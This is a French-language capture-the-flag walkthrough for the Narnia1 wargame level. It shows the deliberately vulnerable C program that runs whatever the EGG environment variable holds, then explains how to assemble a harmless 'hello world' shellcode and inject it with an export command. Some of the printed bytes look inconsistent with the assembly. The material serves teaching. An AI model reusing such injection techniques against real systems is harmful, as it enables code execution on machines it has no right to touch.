🦁 Narnia 1

🦁 Narnia 1

1 February 2023 Narnia challenges 0

🦁 Narnia

Si vous n’êtes pas encore familier avec les challenges Narnia, je vous recommande de commencer par le 1er article sur Narnia0 : https://mindshield.eu/index.php/2023/02/01/narnia_0/

 

Pour rappel, le but de ce guide n’est pas de vous donner la réponse, mais plutôt de vous y amener par la compréhension. Ainsi, il ne contient pas de flag.

Table des Matières

Narnia1

Si mes explications ont été suffisamment claires et précises et que vous avez été persévérant, vous avez normalement obtenu le mot de passe du compte narnia1.

Nous pouvons ainsi créer une nouvelle session SSH avec cet utilisateur.

Découverte

De la même manière que narnia0, nous avons accès au code source de l’exécutable narnia1 :

				
					#include 

int main(){
int (*ret)();

if(getenv("EGG")==NULL){
    printf("Give me something to execute at the env-variable EGG\\n");
    exit(1);
}

printf("Trying to execute EGG!\\n");
ret = getenv("EGG");
ret();

return 0;
}
				
			

Pour faire simple, ce script lit la valeur de la variable d’environnement “EGG”. Cette valeur est vide par défaut. Nous pouvons lui configurer une valeur en tapant la commande :

				
					export EGG=test
				
			

Seulement, cela produit un Segmentation Fault:

Cela signifie que le processeur ne comprend pas une instruction et que par conséquent il ne peut pas l’exécuter. Il s’attend en effet à une valeur de EGG soit exécutable…

Après différentes tentatives, j’ai fait quelques recherches sur comment je pourrais passer une valeur compréhensible par l’ordinateur.

Et c’est à ce moment-là que j’ai découvert les shellcodes.

Qu'est-ce qu'un shellcode ?

Un shellcode est un ensemble de caractère qui est interprétable par la machine.

 

Cela se présente sous cette forme-ci :

				
					\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
				
			

Ce shellcode permet par exemple d’afficher Hello World.

Mais comment fabrique-t-on un shellcode ?! Me diriez-vous.

Ce n’est pas aussi compliqué que cela en a l’air.

Réflexion

La première étape de la “fabrication” d’un shellcode est d’écrire le programme en assembleur.

Par exemple, on souhaite afficher “Hello World” :

				
					section .text

global _start


_start:

        jmp short ender ; on saute à ender

        starter:

        xor rax, rax    ;on nettoie les registres pour être sûr qu'ils soient vides
        xor rbx, rbx
        xor rdx, rdx
        xor rcx, rcx

        mov al, 4       ;on appelle la fonction write (syscall write)
        mov bl, 1       ;on veut écrire sur la sortie standard (stdout = 1)
        pop ecx         ;on récupère l'adresse mémoire de notre chaine sur la pile
        mov dl, 11      ;longueur de la chaine de caractère
				int 0x80        ;appel système pour executer la première partie du code

        xor rax, rax     ;on remet rax à 0
        mov al, 1       ;appel système pour sortir (exit)
	      xor rbx,rbx     ; on remet à 0 le base pointer parce que c'est plus propre
        int 0x80        ; appel système pour sortir

        ender:
        call starter	;on appelle starter et on met l'adresse de la chaine sur la pile
        db "hello world"
				
			

On compile le code avec la commande :

				
					nasm -f elf64 hello.s
				
			

On obtient un fichier en .o. Il nous suffit de le transformer en executable linux avec la commande :

				
					ld -s -o hello hello.o
				
			

Cette commande permet de lier le code objet avec les librairies de l’OS et de créer un fichier ELF. On obtient ainsi un fichier exécutable, qui nous affiche bien “hello world” si nous l’exécutons.

 

En tapant la commande :

				
					objdump -d hello
				
			

On obtient la fonction désassemblée, avec les adresses mémoires, en hexadécimal de notre code :

Encadré en rouge, vous pouvez voir notre code, en hexadécimal, dans un langage compréhensible par la machine. Ce sont ces caractères qui vont composer notre shellcode.

Voici ce que donne notre shellcode dans cet exemple :

				
					\x48\x31\xc0\x48\x31\xdb\x48\x31\xd2\x48\x31\xc9\xb0\x04\xb3\x0b\x59\xb2\x0b\xcd\x80\x48\x31\xc0\xb0\x01\x48x\x31\xdb\xcd\x80\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64
				
			

 ⚠️  Attention : votre shellcode ne DOIT PAS contenir de \x00, sinon il ne fonctionnera pas.

En effet, ce caractère correspond à la fin d’une chaine de caractère. La suite du shellcode ne sera ainsi pas interprété.

Pour résoudre ce problème, il vous faudra utiliser les bonnes tailles de registres.

Une fois votre shellcode créé, il ne vous reste plus qu’à l’injecter dans la variable d’environnement “EGG”.

⚠️ Attention : Votre shellcode doit pouvoir être interprété comme du contenu exécutable. Vous ne pouvez pas simplement attribuer à EGG la valeur du shellcode.

Pour cela nous allons nous aider de python !

Grâce à cette commande, nous allons pouvoir exécuter le shellcode :

				
					export EGG=$(python2 -c 'print("\x48\x31\xc0\x48\x31\xdb\x48\x31\xd2\x48\x31\xc9\xb0\x04\xb3\x0b\x59\xb2\x0b\xcd\x80\x48\x31\xc0\xb0\x01\x48x\x31\xdb\xcd\x80\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64")')
				
			

Vous avez maintenant compris le fonctionnement d’un shellcode ainsi que sa construction. Vous avez donc toutes les cartes en main pour résoudre ce challenge. Il ne vous manque plus qu’à fabriquer un shellcode fonctionnel pour ce cas.

Si vous n’êtes pas à l’aise avec l’assembleur, vous pouvez aussi utiliser des shellcodes prêt à l’emploi : shell-storm | Shellcodes Database ou vous aider de Metasploit : Venom – Le générateur de shellcode Metasploit – Homputer Security

Ressources